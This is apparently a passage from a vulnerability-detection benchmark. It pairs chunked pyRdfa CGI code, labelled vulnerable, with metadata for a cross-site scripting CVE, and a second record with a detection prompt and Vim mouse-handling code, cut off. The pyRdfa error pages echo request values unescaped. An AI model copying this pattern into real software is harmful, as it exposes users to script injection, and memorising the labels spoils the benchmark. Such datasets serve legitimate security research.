initial state. This takes care of things\n\t\t# like base, top level namespace settings, etc.\n\t\tstate = ExecutionContext(topElement, default_graph, base=self.required_base if self.required_base != None else \"\", options=self.options, rdfa_version=self.rdfa_version)", "\t\t# Perform the built-in and external transformations on the HTML tree.\n\t\tfor trans in self.options.transformers + builtInTransformers :\n\t\t\ttrans(topElement, self.options, state)", "\t\t# This may have changed if the state setting detected an explicit version information:\n\t\tself.rdfa_version = state.rdfa_version", "\t\t# The top level subject starts with the current document; this\n\t\t# is used by the recursion\n\t\t# this function is the real workhorse\n\t\tparse_one_node(topElement, default_graph, None, state, [])", "\t\t# Massage the output graph in term of rdfa:Pattern and rdfa:copy\n\t\thandle_prototypes(default_graph)", "\t\t# If the RDFS expansion has to be made, here is the place...\n\t\tif self.options.vocab_expansion :\n\t\t\tfrom .rdfs.process import process_rdfa_sem\n\t\t\tprocess_rdfa_sem(default_graph, self.options)", "\t\t# Experimental feature: nothing for now, this is kept as a placeholder\n\t\tif self.options.experimental_features :\n\t\t\tpass", "\t\t# What should be returned depends on the way the options have been set up\n\t\tif self.options.output_default_graph :\n\t\t\tcopyGraph(graph, default_graph)\n\t\t\tif self.options.output_processor_graph :\n\t\t\t\tif pgraph != None :\n\t\t\t\t\tcopyGraph(pgraph, self.options.processor_graph.graph)\n\t\t\t\telse :\n\t\t\t\t\tcopyGraph(graph, self.options.processor_graph.graph)\n\t\telif self.options.output_processor_graph :\n\t\t\tif pgraph != None :\n\t\t\t\tcopyGraph(pgraph, self.options.processor_graph.graph)\n\t\t\telse :\n\t\t\t\tcopyGraph(graph, self.options.processor_graph.graph)", "\t\t# this is necessary if several DOM trees are handled in a row...\n\t\tself.options.reset_processor_graph()", "\t\treturn graph", "\tdef graph_from_source(self, name, graph = None, rdfOutput = False, pgraph = None) :\n\t\t\"\"\"\n\t\tExtract an RDF graph from an RDFa source. The source is parsed, the RDF extracted, and the RDFa Graph is\n\t\treturned. This is a front-end to the L{pyRdfa.graph_from_DOM} method.", "\t\t@param name: a URI, a file name, or a file-like object\n\t\t@param graph: rdflib Graph instance. If None, a new one is created.\n\t\t@param pgraph: rdflib Graph instance for the processor graph. If None, and the error/warning triples are to be generated, they will be added to the returned graph. Otherwise they are stored in this graph.\n\t\t@param rdfOutput: whether runtime exceptions should be turned into RDF and returned as part of the processor graph\n\t\t@return: an RDF Graph\n\t\t@rtype: rdflib Graph instance\n\t\t\"\"\"\n\t\tdef copyErrors(tog, options) :\n\t\t\tif tog == None :\n\t\t\t\ttog = Graph()\n\t\t\tif options.output_processor_graph :\n\t\t\t\tfor t in options.processor_graph.graph :\n\t\t\t\t\ttog.add(t)\n\t\t\t\t\tif pgraph != None : pgraph.add(t)\n\t\t\t\tfor k,ns in options.processor_graph.graph.namespaces() :\n\t\t\t\t\ttog.bind(k,ns)\n\t\t\t\t\tif pgraph != None : pgraph.bind(k,ns)\n\t\t\toptions.reset_processor_graph()\n\t\t\treturn tog", "\t\t# Separating this for a forward Python 3 compatibility\n\t\ttry :\n\t\t\t# Python 2 branch\n\t\t\tisstring = isinstance(name, basestring)\n\t\texcept :\n\t\t\t# Python 3 branch\n\t\t\tisstring = isinstance(name, str)", "\t\ttry :\n\t\t\t# First, open the source... Possible HTTP errors are returned as error triples\n\t\t\tinput = None\n\t\t\ttry :\n\t\t\t\tinput = self._get_input(name)\n\t\t\texcept FailedSource as ex :\n\t\t\t\tf = sys.exc_info()[1]\n\t\t\t\tself.http_status = 400\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(ex.msg, FileReferenceError, name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 400)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept HTTPError as ex :\n\t\t\t\th = sys.exc_info()[1]\n\t\t\t\tself.http_status = h.http_code\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(\"HTTP Error: %s (%s)\" % (h.http_code,h.msg), HTError, name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, h.http_code)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept RDFaError as ex:\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\tself.http_status = 500\n\t\t\t\t# Something nasty happened:-(\n\t\t\t\tif not rdfOutput : raise Exception(ex.msg)\n\t\t\t\terr = self.options.add_error(str(ex.msg), context = name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\t\treturn copyErrors(graph, self.options)\n\t\t\texcept Exception as ex :\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\tself.http_status = 500\n\t\t\t\t# Something nasty happened:-(\n\t\t\t\tif not rdfOutput : raise ex\n\t\t\t\terr = self.options.add_error(str(e), context = name)\n\t\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\t\treturn copyErrors(graph, self.options)", "\t\t\tdom = None\n\t\t\ttry :\n\t\t\t\tmsg = \"\"\n\t\t\t\tparser = None\n\t\t\t\tif self.options.host_language == HostLanguage.html5 :\n\t\t\t\t\timport warnings\n\t\t\t\t\twarnings.filterwarnings(\"ignore\", category=DeprecationWarning)\n\t\t\t\t\timport html5lib\n\t\t\t\t\tparser = html5lib.HTMLParser(tree=html5lib.treebuilders.getTreeBuilder(\"dom\"))\n\t\t\t\t\tif self.charset :\n\t\t\t\t\t\t# This means the HTTP header has provided a charset, or the\n\t\t\t\t\t\t# file is a local file when we suppose it to be a utf-8\n\t\t\t\t\t\t#\n\t\t\t\t\t\t# 2020-01-20, Ivan Herman\n\t\t\t\t\t\t# for some reasons the python3 version ran into a problem with this html5lib call\n\t\t\t\t\t\t# the override_encoding argument was not accepted.\n\t\t\t\t\t\t# dom = parser.parse(input, override_encoding=self.charset)\n\t\t\t\t\t\tdom = parser.parse(input)\n\t\t\t\t\telse :\n\t\t\t\t\t\t# No charset set. The HTMLLib parser tries to sniff into the\n\t\t\t\t\t\t# the file to find a meta header for the charset; if that\n\t\t\t\t\t\t# works, fine, otherwise it falls back on window-...\n\t\t\t\t\t\tdom = parser.parse(input)", "\t\t\t\t\ttry :\n\t\t\t\t\t\tif isstring :\n\t\t\t\t\t\t\tinput.close()\n\t\t\t\t\t\t\tinput = self._get_input(name)\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tinput.seek(0)\n\t\t\t\t\t\tfrom .host import adjust_html_version\n\t\t\t\t\t\tself.rdfa_version = adjust_html_version(input, self.rdfa_version)\n\t\t\t\t\texcept :\n\t\t\t\t\t\t# if anything goes wrong, it is not really important; rdfa version stays what it was...\n\t\t\t\t\t\tpass", "\t\t\t\telse :\n\t\t\t\t\tfrom .host import adjust_xhtml_and_version\n\t\t\t\t\tif isinstance(input, StringIO) or isinstance(input, file):\n\t\t\t\t\t\tparse = xml.dom.minidom.parse\n\t\t\t\t\telse:\n\t\t\t\t\t\tparse = xml.dom.minidom.parseString\n\t\t\t\t\tdom = parse(input)\n\t\t\t\t\t(adjusted_host_language, version) = adjust_xhtml_and_version(dom, self.options.host_language, self.rdfa_version)\n\t\t\t\t\tself.options.host_language = adjusted_host_language\n\t\t\t\t\tself.rdfa_version = version\n\t\t\texcept ImportError :\n\t\t\t\tmsg = \"HTML5 parser not available. Try installing html5lib <http://code.google.com/p/html5lib>\"\n\t\t\t\traise ImportError(msg)\n\t\t\texcept Exception :\n\t\t\t\te = sys.exc_info()[1]\n\t\t\t\t# These are various parsing exception. Per spec, this is a case when\n\t\t\t\t# error triples MUST be returned, ie, the usage of rdfOutput (which switches between an HTML formatted\n\t\t\t\t# return page or a graph with error triples) does not apply\n\t\t\t\terr = self.options.add_error(str(e), context = name)\n\t\t\t\tself.http_status = 400\n\t\t\t\tself.options.processor_graph.add_http_context(err, 400)\n\t\t\t\treturn copyErrors(graph, self.options)", "\t\t\t# If we got here, we have a DOM tree to operate on...\n\t\t\treturn self.graph_from_DOM(dom, graph, pgraph)\n\t\texcept Exception :\n\t\t\t# Something nasty happened during the generation of the graph...\n\t\t\t(a,b,c) = sys.exc_info()\n\t\t\tsys.excepthook(a,b,c)\n\t\t\tif isinstance(b, ImportError) :\n\t\t\t\tself.http_status = None\n\t\t\telse :\n\t\t\t\tself.http_status = 500\n\t\t\tif not rdfOutput : raise b\n\t\t\terr = self.options.add_error(str(b), context = name)\n\t\t\tself.options.processor_graph.add_http_context(err, 500)\n\t\t\treturn copyErrors(graph, self.options)", "\tdef rdf_from_sources(self, names, outputFormat = \"turtle\", rdfOutput = False) :\n\t\t\"\"\"\n\t\tExtract and RDF graph from a list of RDFa sources and serialize them in one graph. The sources are parsed, the RDF\n\t\textracted, and serialization is done in the specified format.\n\t\t@param names: list of sources, each can be a URI, a file name, or a file-like object\n\t\t@keyword outputFormat: serialization format. Can be one of \"turtle\", \"n3\", \"xml\", \"pretty-xml\", \"nt\". \"xml\", \"pretty-xml\", \"json\" or \"json-ld\". \"turtle\" and \"n3\", \"xml\" and \"pretty-xml\", and \"json\" and \"json-ld\" are synonyms, respectively. Note that the JSON-LD serialization works with RDFLib 3.* only.\n\t\t@keyword rdfOutput: controls what happens in case an exception is raised. If the value is False, the caller is responsible handling it; otherwise a graph is returned with an error message included in the processor graph\n\t\t@type rdfOutput: boolean\n\t\t@return: a serialized RDF Graph\n\t\t@rtype: string\n\t\t\"\"\"", "\t\t# protection against possible malicious URL call\n\t\toutputFormat = pyRdfa._validate_output_format(outputFormat);\n", "\t\t# This is better because it gives access to the various, non-standard serializations\n\t\t# If it does not work because the extra are not installed, fall back to the standard\n\t\t# rdlib distribution...", "", "\t\tif rdflib.__version__ >= \"3.0.0\" :\n\t\t\tgraph = Graph()\n\t\telse :\n\t\t\t# We may need the extra utilities for older rdflib versions...\n\t\t\ttry :\n\t\t\t\tfrom pyRdfaExtras import MyGraph\n\t\t\t\tgraph = MyGraph()\n\t\t\texcept :\n\t\t\t\tgraph = Graph()", "\t\t# graph.bind(\"xsd\", Namespace('http://www.w3.org/2001/XMLSchema#'))\n\t\t# the value of rdfOutput determines the reaction on exceptions...\n\t\tfor name in names :\n\t\t\tself.graph_from_source(name, graph, rdfOutput)", "\t\t# Stupid difference between python2 and python3...\n\t\tif PY3 :\n\t\t\treturn str(graph.serialize(format=outputFormat), encoding='utf-8')\n\t\telse :\n\t\t\treturn graph.serialize(format=outputFormat)", "\n\tdef rdf_from_source(self, name, outputFormat = \"turtle\", rdfOutput = False) :\n\t\t\"\"\"\n\t\tExtract and RDF graph from an RDFa source and serialize it in one graph. The source is parsed, the RDF\n\t\textracted, and serialization is done in the specified format.\n\t\t@param name: a URI, a file name, or a file-like object\n\t\t@keyword outputFormat: serialization format. Can be one of \"turtle\", \"n3\", \"xml\", \"pretty-xml\", \"nt\". \"xml\", \"pretty-xml\", or \"json-ld\". \"turtle\" and \"n3\", or \"xml\" and \"pretty-xml\" are synonyms, respectively. Note that the JSON-LD serialization works with RDFLib 3.* only.\n\t\t@keyword rdfOutput: controls what happens in case an exception is raised. If the value is False, the caller is responsible handling it; otherwise a graph is returned with an error message included in the processor graph\n\t\t@type rdfOutput: boolean\n\t\t@return: a serialized RDF Graph\n\t\t@rtype: string\n\t\t\"\"\"\n\t\treturn self.rdf_from_sources([name], outputFormat, rdfOutput)", "################################################# CGI Entry point\ndef processURI(uri, outputFormat, form={}) :\n\t\"\"\"The standard processing of an RDFa uri options in a form; used as an entry point from a CGI call.", "\tThe call accepts extra form options (i.e., HTTP GET options) as follows:", "\t - C{graph=[output|processor|output,processor|processor,output]} specifying which graphs are returned. Default: C{output}\n\t - C{space_preserve=[true|false]} means that plain literals are normalized in terms of white spaces. Default: C{false}\n\t - C{rfa_version} provides the RDFa version that should be used for distilling. The string should be of the form \"1.0\" or \"1.1\". Default is the highest version the current package implements, currently \"1.1\"\n\t - C{host_language=[xhtml,html,xml]} : the host language. Used when files are uploaded or text is added verbatim, otherwise the HTTP return header should be used. Default C{xml}\n\t - C{embedded_rdf=[true|false]} : whether embedded turtle or RDF/XML content should be added to the output graph. Default: C{false}\n\t - C{vocab_expansion=[true|false]} : whether the vocabularies should be expanded through the restricted RDFS entailment. Default: C{false}\n\t - C{vocab_cache=[true|false]} : whether vocab caching should be performed or whether it should be ignored and vocabulary files should be picked up every time. Default: C{false}\n\t - C{vocab_cache_report=[true|false]} : whether vocab caching details should be reported. Default: C{false}\n\t - C{vocab_cache_bypass=[true|false]} : whether vocab caches have to be regenerated every time. Default: C{false}\n\t - C{rdfa_lite=[true|false]} : whether warnings should be generated for non RDFa Lite attribute usage. Default: C{false}", "\t@param uri: URI to access. Note that the C{text:} and C{uploaded:} fake URI values are treated separately; the former is for textual intput (in which case a StringIO is used to get the data) and the latter is for uploaded file, where the form gives access to the file directly.\n\t@param outputFormat: serialization format, as defined by the package. Currently \"xml\", \"turtle\", \"nt\", or \"json\". Default is \"turtle\", also used if any other string is given.\n\t@param form: extra call options (from the CGI call) to set up the local options\n\t@type form: cgi FieldStorage instance\n\t@return: serialized graph\n\t@rtype: string\n\t\"\"\"\n\tdef _get_option(param, compare_value, default) :\n\t\tparam_old = param.replace('_','-')\n\t\tif param in list(form.keys()) :\n\t\t\tval = form.getfirst(param).lower()\n\t\t\treturn val == compare_value\n\t\telif param_old in list(form.keys()) :\n\t\t\t# this is to ensure the old style parameters are still valid...\n\t\t\t# in the old days I used '-' in the parameters, the standard favours '_'\n\t\t\tval = form.getfirst(param_old).lower()\n\t\t\treturn val == compare_value\n\t\telse :\n\t\t\treturn default", "\tif uri == \"uploaded:\" :\n\t\tinput\t= form[\"uploaded\"].file\n\t\tbase\t= \"\"\n\telif uri == \"text:\" :\n\t\tinput\t= StringIO(form.getfirst(\"text\"))\n\t\tbase\t= \"\"\n\telse :\n\t\tinput\t= uri\n\t\tbase\t= uri", "\tif \"rdfa_version\" in list(form.keys()) :\n\t\trdfa_version = form.getfirst(\"rdfa_version\")\n\telse :\n\t\trdfa_version = None", "\t# working through the possible options\n\t# Host language: HTML, XHTML, or XML\n\t# Note that these options should be used for the upload and inline version only in case of a form\n\t# for real uris the returned content type should be used\n\tif \"host_language\" in list(form.keys()) :\n\t\tif form.getfirst(\"host_language\").lower() == \"xhtml\" :\n\t\t\tmedia_type = MediaTypes.xhtml\n\t\telif form.getfirst(\"host_language\").lower() == \"html\" :\n\t\t\tmedia_type = MediaTypes.html\n\t\telif form.getfirst(\"host_language\").lower() == \"svg\" :\n\t\t\tmedia_type = MediaTypes.svg\n\t\telif form.getfirst(\"host_language\").lower() == \"atom\" :\n\t\t\tmedia_type = MediaTypes.atom\n\t\telse :\n\t\t\tmedia_type = MediaTypes.xml\n\telse :\n\t\tmedia_type = \"\"", "\ttransformers = []", "\tcheck_lite = \"rdfa_lite\" in list(form.keys()) and form.getfirst(\"rdfa_lite\").lower() == \"true\"", "\t# The code below is left for backward compatibility only. In fact, these options are not exposed any more,\n\t# they are not really in use\n\tif \"extras\" in list(form.keys()) and form.getfirst(\"extras\").lower() == \"true\" :\n\t\tfrom .transform.metaname \timport meta_transform\n\t\tfrom .transform.OpenID \timport OpenID_transform\n\t\tfrom .transform.DublinCore \timport DC_transform\n\t\tfor t in [OpenID_transform, DC_transform, meta_transform] :\n\t\t\ttransformers.append(t)\n\telse :\n\t\tif \"extra-meta\" in list(form.keys()) and form.getfirst(\"extra-meta\").lower() == \"true\" :\n\t\t\tfrom .transform.metaname import meta_transform\n\t\t\ttransformers.append(meta_transform)\n\t\tif \"extra-openid\" in list(form.keys()) and form.getfirst(\"extra-openid\").lower() == \"true\" :\n\t\t\tfrom .transform.OpenID import OpenID_transform\n\t\t\ttransformers.append(OpenID_transform)\n\t\tif \"extra-dc\" in list(form.keys()) and form.getfirst(\"extra-dc\").lower() == \"true\" :\n\t\t\tfrom .transform.DublinCore import DC_transform\n\t\t\ttransformers.append(DC_transform)", "\toutput_default_graph \t= True\n\toutput_processor_graph \t= False\n\t# Note that I use the 'graph' and the 'rdfagraph' form keys here. Reason is that\n\t# I used 'graph' in the previous versions, including the RDFa 1.0 processor,\n\t# so if I removed that altogether that would create backward incompatibilities\n\t# On the other hand, the RDFa 1.1 doc clearly refers to 'rdfagraph' as the standard\n\t# key.\n\ta = None\n\tif \"graph\" in list(form.keys()) :\n\t\ta = form.getfirst(\"graph\").lower()\n\telif \"rdfagraph\" in list(form.keys()) :\n\t\ta = form.getfirst(\"rdfagraph\").lower()\n\tif a != None :\n\t\tif a == \"processor\" :\n\t\t\toutput_default_graph \t= False\n\t\t\toutput_processor_graph \t= True\n\t\telif a == \"processor,output\" or a == \"output,processor\" :\n\t\t\toutput_processor_graph \t= True", "\tembedded_rdf = _get_option( \"embedded_rdf\", \"true\", False)\n\tspace_preserve = _get_option( \"space_preserve\", \"true\", True)\n\tvocab_cache = _get_option( \"vocab_cache\", \"true\", True)\n\tvocab_cache_report = _get_option( \"vocab_cache_report\", \"true\", False)\n\trefresh_vocab_cache = _get_option( \"vocab_cache_refresh\", \"true\", False)\n\tvocab_expansion = _get_option( \"vocab_expansion\", \"true\", False)\n\tif vocab_cache_report : output_processor_graph = True", "\toptions = Options(output_default_graph = output_default_graph,\n\t\t\t\t\t output_processor_graph = output_processor_graph,\n\t\t\t\t\t space_preserve = space_preserve,\n\t\t\t\t\t transformers = transformers,\n\t\t\t\t\t vocab_cache = vocab_cache,\n\t\t\t\t\t vocab_cache_report = vocab_cache_report,\n\t\t\t\t\t refresh_vocab_cache = refresh_vocab_cache,\n\t\t\t\t\t vocab_expansion = vocab_expansion,\n\t\t\t\t\t embedded_rdf = embedded_rdf,\n\t\t\t\t\t check_lite = check_lite\n\t\t\t\t\t )\n\tprocessor = pyRdfa(options = options, base = base, media_type = media_type, rdfa_version = rdfa_version)", "\t# Decide the output format; the issue is what should happen in case of a top level error like an inaccessibility of\n\t# the html source: should a graph be returned or an HTML page with an error message?", "\t# decide whether HTML or RDF should be sent.\n\thtmlOutput = False\n\t#if 'HTTP_ACCEPT' in os.environ :\n\t#\tacc = os.environ['HTTP_ACCEPT']\n\t#\tpossibilities = ['text/html',\n\t#\t\t\t\t\t 'application/rdf+xml',\n\t#\t\t\t\t\t 'text/turtle; charset=utf-8',\n\t#\t\t\t\t\t 'application/json',\n\t#\t\t\t\t\t 'application/ld+json',\n\t#\t\t\t\t\t 'text/rdf+n3']\n\t#\n\t#\t# this nice module does content negotiation and returns the preferred format\n\t#\tsg = acceptable_content_type(acc, possibilities)\n\t#\thtmlOutput = (sg != None and sg[0] == content_type('text/html'))\n\t#\tos.environ['rdfaerror'] = 'true'", "\t# This is really for testing purposes only, it is an unpublished flag to force RDF output no\n\t# matter what\n\ttry :", "\t\toutputFormat = pyRdfa._validate_output_format(outputFormat);", "\t\tif outputFormat == \"n3\" :\n\t\t\tretval = 'Content-Type: text/rdf+n3; charset=utf-8\\n'\n\t\telif outputFormat == \"nt\" or outputFormat == \"turtle\" :\n\t\t\tretval = 'Content-Type: text/turtle; charset=utf-8\\n'\n\t\telif outputFormat == \"json-ld\" or outputFormat == \"json\" :\n\t\t\tretval = 'Content-Type: application/ld+json; charset=utf-8\\n'\n\t\telse :\n\t\t\tretval = 'Content-Type: application/rdf+xml; charset=utf-8\\n'", "\t\tgraph = processor.rdf_from_source(input, outputFormat, rdfOutput = (\"forceRDFOutput\" in list(form.keys())) or not htmlOutput)", "\t\tretval += '\\n'\n\t\tretval += graph\n\t\treturn retval\n\texcept HTTPError :\n\t\t(type,h,traceback) = sys.exc_info()\n\t\timport cgi", "\t\tretval = 'Content-type: text/html; charset=utf-8\\nStatus: %s \\n\\n' % h.http_code\n\t\tretval += \"<html>\\n\"\n\t\tretval += \"<head>\\n\"\n\t\tretval += \"<title>HTTP Error in distilling RDFa content</title>\\n\"\n\t\tretval += \"</head><body>\\n\"\n\t\tretval += \"<h1>HTTP Error in distilling RDFa content</h1>\\n\"\n\t\tretval += \"<p>HTTP Error: %s (%s)</p>\\n\" % (h.http_code,h.msg)\n\t\tretval += \"<p>On URI: <code>'%s'</code></p>\\n\" % cgi.escape(uri)\n\t\tretval +=\"</body>\\n\"\n\t\tretval +=\"</html>\\n\"\n\t\treturn retval\n\texcept :\n\t\t# This branch should occur only if an exception is really raised, ie, if it is not turned\n\t\t# into a graph value.\n\t\t(type,value,traceback) = sys.exc_info()", "\t\timport traceback, cgi", "\t\tretval = 'Content-type: text/html; charset=utf-8\\nStatus: %s\\n\\n' % processor.http_status\n\t\tretval += \"<html>\\n\"\n\t\tretval += \"<head>\\n\"\n\t\tretval += \"<title>Exception in RDFa processing</title>\\n\"\n\t\tretval += \"</head><body>\\n\"\n\t\tretval += \"<h1>Exception in distilling RDFa</h1>\\n\"\n\t\tretval += \"<pre>\\n\"\n\t\tstrio = StringIO()\n\t\ttraceback.print_exc(file=strio)\n\t\tretval += strio.getvalue()\n\t\tretval +=\"</pre>\\n\"\n\t\tretval +=\"<pre>%s</pre>\\n\" % value\n\t\tretval +=\"<h1>Distiller request details</h1>\\n\"\n\t\tretval +=\"<dl>\\n\"\n\t\tif uri == \"text:\" and \"text\" in form and form[\"text\"].value != None and len(form[\"text\"].value.strip()) != 0 :\n\t\t\tretval +=\"<dt>Text input:</dt><dd>%s</dd>\\n\" % cgi.escape(form[\"text\"].value).replace('\\n','<br/>')\n\t\telif uri == \"uploaded:\" :\n\t\t\tretval +=\"<dt>Uploaded file</dt>\\n\"\n\t\telse :\n\t\t\tretval +=\"<dt>URI received:</dt><dd><code>'%s'</code></dd>\\n\" % cgi.escape(uri)\n\t\tif \"host_language\" in list(form.keys()) :", "\t\t\tretval +=\"<dt>Media Type:</dt><dd>%s</dd>\\n\" % cgi.escape(media_type)", "\t\tif \"graph\" in list(form.keys()) :", "\t\t\tretval +=\"<dt>Requested graphs:</dt><dd>%s</dd>\\n\" % cgi.escape(form.getfirst(\"graph\").lower())", "\t\telse :\n\t\t\tretval +=\"<dt>Requested graphs:</dt><dd>default</dd>\\n\"\n\t\tretval +=\"<dt>Output serialization format:</dt><dd> %s</dd>\\n\" % outputFormat", "\t\tif \"space_preserve\" in form : retval +=\"<dt>Space preserve:</dt><dd> %s</dd>\\n\" % cgi.escape(form[\"space_preserve\"].value)", "\t\tretval +=\"</dl>\\n\"\n\t\tretval +=\"</body>\\n\"\n\t\tretval +=\"</html>\\n\"\n\t\treturn retval" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [946], "buggy_code_start_loc": [457], "filenames": ["pyRdfa/__init__.py"], "fixing_code_end_loc": [959], "fixing_code_start_loc": [458], "message": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in RDFlib pyrdfa3 and classified as problematic. This issue affects the function _get_option of the file pyRdfa/__init__.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. The name of the patch is ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e. It is recommended to apply a patch to fix this issue. The identifier VDB-215249 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pyrdfa3_project:pyrdfa3:-:*:*:*:*:python:*:*", "matchCriteriaId": "9F232A28-7BE9-4AA0-968F-3B31AE62E9FA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in RDFlib pyrdfa3 and classified as problematic. This issue affects the function _get_option of the file pyRdfa/__init__.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. The name of the patch is ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e. It is recommended to apply a patch to fix this issue. The identifier VDB-215249 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer."}], "evaluatorComment": null, "id": "CVE-2022-4396", "lastModified": "2022-12-13T14:57:10.653", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}]}, "published": "2022-12-10T12:15:10.797", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/RDFLib/pyrdfa3/commit/ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e"}, {"source": "cna@vuldb.com", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://github.com/RDFLib/pyrdfa3/pull/40"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.215249"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-707"}, {"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "cna@vuldb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/RDFLib/pyrdfa3/commit/ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e"}, "type": "CWE-79"}
140
Determine whether the {function_name} code is vulnerable or not.
[ "/* vi:set ts=8 sts=4 sw=4 noet:\n *\n * VIM - Vi IMproved\tby Bram Moolenaar\n *\n * Do \":help uganda\" in Vim to read copying and usage conditions.\n * Do \":help credits\" in Vim to see a list of people who contributed.\n * See README.txt for an overview of the Vim source code.\n */", "/*\n * mouse.c: mouse handling functions\n */", "#include \"vim.h\"", "/*\n * Horiziontal and vertical steps used when scrolling.\n * When negative scroll by a whole page.\n */\nstatic long mouse_hor_step = 6;\nstatic long mouse_vert_step = 3;", " void\nmouse_set_vert_scroll_step(long step)\n{\n mouse_vert_step = step;\n}", " void\nmouse_set_hor_scroll_step(long step)\n{\n mouse_hor_step = step;\n}", "#ifdef CHECK_DOUBLE_CLICK\n/*\n * Return the duration from t1 to t2 in milliseconds.\n */\n static long\ntime_diff_ms(struct timeval *t1, struct timeval *t2)\n{\n // This handles wrapping of tv_usec correctly without any special case.\n // Example of 2 pairs (tv_sec, tv_usec) with a duration of 5 ms:\n //\t t1 = (1, 998000) t2 = (2, 3000) gives:\n //\t (2 - 1) * 1000 + (3000 - 998000) / 1000 -> 5 ms.\n return (t2->tv_sec - t1->tv_sec) * 1000\n\t + (t2->tv_usec - t1->tv_usec) / 1000;\n}\n#endif", "/*\n * Get class of a character for selection: same class means same word.\n * 0: blank\n * 1: punctuation groups\n * 2: normal word character\n * >2: multi-byte word character.\n */\n static int\nget_mouse_class(char_u *p)\n{\n int\t\tc;", " if (has_mbyte && MB_BYTE2LEN(p[0]) > 1)\n\treturn mb_get_class(p);", " c = *p;\n if (c == ' ' || c == '\\t')\n\treturn 0;", " if (vim_iswordc(c))\n\treturn 2;", " // There are a few special cases where we want certain combinations of\n // characters to be considered as a single word. These are things like\n // \"->\", \"/ *\", \"*=\", \"+=\", \"&=\", \"<=\", \">=\", \"!=\" etc. Otherwise, each\n // character is in its own class.\n if (c != NUL && vim_strchr((char_u *)\"-+*/%<>&|^!=\", c) != NULL)\n\treturn 1;\n return c;\n}", "/*\n * Move \"pos\" back to the start of the word it's in.\n */\n static void\nfind_start_of_word(pos_T *pos)\n{\n char_u\t*line;\n int\t\tcclass;\n int\t\tcol;", " line = ml_get(pos->lnum);\n cclass = get_mouse_class(line + pos->col);", " while (pos->col > 0)\n {\n\tcol = pos->col - 1;\n\tcol -= (*mb_head_off)(line, line + col);\n\tif (get_mouse_class(line + col) != cclass)\n\t break;\n\tpos->col = col;\n }\n}", "/*\n * Move \"pos\" forward to the end of the word it's in.\n * When 'selection' is \"exclusive\", the position is just after the word.\n */\n static void\nfind_end_of_word(pos_T *pos)\n{\n char_u\t*line;\n int\t\tcclass;\n int\t\tcol;", " line = 